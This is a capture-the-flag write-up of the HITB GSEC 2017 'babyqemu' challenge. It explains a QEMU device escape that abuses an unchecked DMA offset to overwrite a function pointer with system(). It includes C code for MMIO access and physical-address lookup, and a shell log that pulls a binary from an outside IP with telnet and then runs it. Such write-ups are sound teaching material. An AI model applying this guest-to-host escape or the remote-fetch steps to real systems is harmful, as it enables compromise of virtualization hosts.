This is a short writeup explaining how I solved the “babyqemu” challenge of HITB GSEC 2017. I greatly enjoyed solving the challenge since I had never before written any kind of hypervisor escape.

Overview

For this challenge, players were given a tar.gz file containing the following files:

-rwxr-xr-x    1 sam  staff   281B Jul 11 15:38 launch.sh
drwxr-xr-x   59 sam  staff   2.0K Jul 11 13:36 pc-bios
-rwxr-xr-x    1 sam  staff    38M Jul 11 13:32 qemu-system-x86_64
-rw-r--r--    1 sam  staff   3.7M Jul 11 13:32 rootfs.cpio
-rwxr-xr-x    1 sam  staff   7.0M Jul 11 13:35 vmlinuz-4.8.0-52-generic

The launch.sh script contains the following:

#!/bin/sh
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M --nographic  -L ./dependency/usr/local/share/qemu \
-L pc-bios \
-device hitb,id=vda

Note the last line, in which a custom hitb device is made available for the guest operating system. It seems our goal is to exploit the emulation code for this device and gain code execution inside the qemu process (running the qemu-system-x86_64 executable). The fact that we can simply login as root on the provided machine (and remotely) without a password supports this theory.

Reversing the device emulator

Fortunately, the provided qemu-system-x86_64 was not stripped (and even contained debug symbols, giving us structure layouts) so we have all the function names. Loading the qemu-system-x86_64 into IDA, we can filter for all functions containing the word hitb and are left with a fairly short list of relevant functions:

Function name                        Segment Start            Length
-------------                        ------- -----            ------
do_qemu_init_pci_hitb_register_types .text   0000555555754BF0 00000011
hitb_enc                             .text   00005555557D7DD0 0000001E
pci_hitb_register_types              .text   00005555557D7DF0 0000000C
hitb_class_init                      .text   00005555557D7E00 0000006F
pci_hitb_uninit                      .text   00005555557D7E70 00000060
hitb_instance_init                   .text   00005555557D7ED0 00000069
hitb_obj_uint64                      .text   00005555557D7F40 00000011
hitb_raise_irq                       .text   00005555557D7F60 0000002B
hitb_fact_thread                     .text   00005555557D7F90 000000F9
hitb_dma_timer                       .text   00005555557D8090 0000010F
hitb_mmio_write                      .text   00005555557D81A0 000002A0
hitb_mmio_read                       .text   00005555557D8440 00000148
pci_hitb_realize                     .text   00005555557D8590 000000D0

The registered PCI device uses the following struct to store any state:

00000000 HitbState       struc ; (sizeof=0x1BD0, align=0x10, copyof_1490)
00000000 pdev            PCIDevice_0 ?
000009F0 mmio            MemoryRegion_0 ?
00000AF0 thread          QemuThread_0 ?
00000AF8 thr_mutex       QemuMutex_0 ?
00000B20 thr_cond        QemuCond_0 ?
00000B50 stopping        db ?
00000B58 fact            dd ?
00000B5C status          dd ?
00000B60 irq_status      dd ?
00000B68 dma             dma_state ?
00000B88 dma_timer       QEMUTimer_0 ?
00000BB8 dma_buf         db 4096 dup(?)
00001BB8 enc             dq ?                    ; offset
00001BC0 dma_mask        dq ?
00001BD0 HitbState       ends

00000000 dma_state       struc ; (sizeof=0x20, align=0x8, copyof_1488)
00000000 src             dq ?
00000008 dst             dq ?
00000010 cnt             dq ?
00000018 cmd             dq ?
00000020 dma_state       ends

Reversing the code a bit, we see that:

  • The code registers a custom PCI device names ‘hitb’ and allocates an I/O memory region for it. With memory mapped I/O, the guest can read and write device “registers” simply by reading from and writing to specific physical addresses.

  • The registered device has handler functions (hitb_mmio_write and hitb_mmio_read) for read and write accesses from the guest to the allocated memory region. These handlers will be called everytime the guest operating systems accesses a physical address inside the range allocated for the PCI device.

  • The device supports a custom DMA mechanism, allowing the guest operating system to read and write data into a fixed-sized buffer (dma_buf) inside of the device structure

The DMA buffer can be written to in the following way:

  1. The guest writes the physical address of the source buffer to the dma.src register (by writing to offset 128 in the iomem region)
  2. The guest writes the host buffer offset into the dma.dst register (offset 136)
  3. The guest writes the number of bytes to copy into the dma.cnt register (offset 144)
  4. The guest writes the constant 1 into the dma.cmd register (offset 152)

This will schedule the execution of a separate function which essentially performs a memcpy from the given guest buffer into the host buffer.

Reading back the content of the DMA buffer works essentially the same, except that src and dst need to be exchanged.

Looking at the code, we can see that no validation is performed on the given offset into the DMA buffer. As such we can read to and write from arbitrary memory adjacent to the hitb device instance (since the buffer is embedded into the structure, and not just a pointer to it).

Conveniently, a function pointer (enc) is located right after the storage buffer and will be called if the guest requests “encrypted” DMA transfers (which simply XORs all data with 0x66). The first argument for that function will be a pointer into the dma_buf, thus containing attacker controlled data. Even more conveniently, the system function is linked into the qemu binary, so we don’t even need to leak the address of libc.

All we have left to do is implement I/O memory accesses from the guest.

Memory mapped I/O from Linux usermode

Access to (almost) the whole physical memory is possible in Linux by open()ing and mmap()ing /dev/mem. However, in our case there is a simpler way: the device directory under /sys contains a pseudofile named “resource0”, which gives the user a “view” onto the physical memory used by the device. In our case, the full path for this device file is /sys/devices/pci0000:00/0000:00:04.0/resource0.

With that, reading e.g. the register at offset 128 (the dma.src register) can be performed with the following C code:

void* iomem;

void iowrite(uint64_t offset, uint64_t value)
{
    *((uint64_t*)(iomem + offset)) = value;
}

int main()
{
    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);

    iomem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

    iowrite(128, 0x1337);

    return 0;
}

To use the DMA mechanism, we also need the physical address of a buffer that we can write to and read from. Fortunately, Linux provides the /proc/$pid/pagemap pseudofile, which gives us excactly this information. Using this pseudofile, we can obtain the physical address for a virtual address in our process using the following C code:

uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;

    // Assert page alignment
    assert((virt & 0xfff) == 0);

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");

    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);

    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");

    // Assert page present
    assert(phys & (1ULL << 63));

    phys = (phys & ((1ULL << 54) - 1)) * 0x1000;
    return phys;
}

With that we have everything to reach the vulnerable code inside the custom qemu binary.

Putting everything together

The exploit now does the following:

  1. Use the out-of-bounds DMA access to read the value of the enc function pointer
  2. Add the offset to the PLT stub for system to that pointer and write it back using the DMA bug again
  3. Write the string cat flag into the DMA page. This will be the first argument to the enc function pointer
  4. Perform an “encrypted” DMA transfer to call the function pointer

Here is the exploit in action:

__        __   _                            _          _   _ ___ _____ ____
\ \      / /__| | ___ ___  _ __ ___   ___  | |_ ___   | | | |_ _|_   _| __ )
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ | __/ _ \  | |_| || |  | | |  _ \
  \ V  V /  __/ | (_| (_) | | | | | |  __/ | || (_) | |  _  || |  | | | |_) |
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|  \__\___/  |_| |_|___| |_| |____/

Welcome to HITB
HITB login: root
# telnet 128.199.51.139 5555 > pwn.b64
# base64 -d pwn.b64 > pwn
# chmod +x pwn
# ./pwn
iomem @ 0x7fec5fa96000
DMA buffer (virt) @ 0x7fec5fa95000
DMA buffer (phys) @ 0x20e7000
binary @ 0x561d2185a000
HITB{907825fdd6e748fb84850c11ce0bef8d}

The full exploit can be found here.